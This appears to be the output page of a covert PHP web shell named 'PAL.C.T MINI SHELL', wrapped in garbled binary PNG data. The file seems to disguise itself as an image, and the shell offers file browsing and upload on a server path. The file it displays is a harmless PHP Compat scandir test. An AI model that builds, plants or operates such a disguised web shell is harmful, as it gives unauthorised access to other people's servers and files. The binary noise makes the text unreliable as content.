php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/outlet/ot002/php1/tests/function/
upload
files >> /var/www/html/outlet/ot002/php1/tests/function/scandir.phpt

--TEST--
Function -- scandir
--FILE--
<?php
require_once 'PHP/Compat/Function/scandir.php';

// Create a folder and fill it with files
mkdir('tmp');
touch('tmp/test1');
touch('tmp/test2');

// Scan it
$dir    = 'tmp';
// Not sorted
$files = php_compat_scandir($dir);
// Sorted
$files2 = php_compat_scandir($dir, 1);

// List the results
print_r($files);
print_r($files2);

// Remove the files
unlink('tmp/test1');
unlink('tmp/test2');
rmdir('tmp');
?>
--EXPECT--
Array
(
    [0] => .
    [1] => ..
    [2] => test1
    [3] => test2
)
Array
(
    [0] => test2
    [1] => test1
    [2] => ..
    [3] => .
)
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`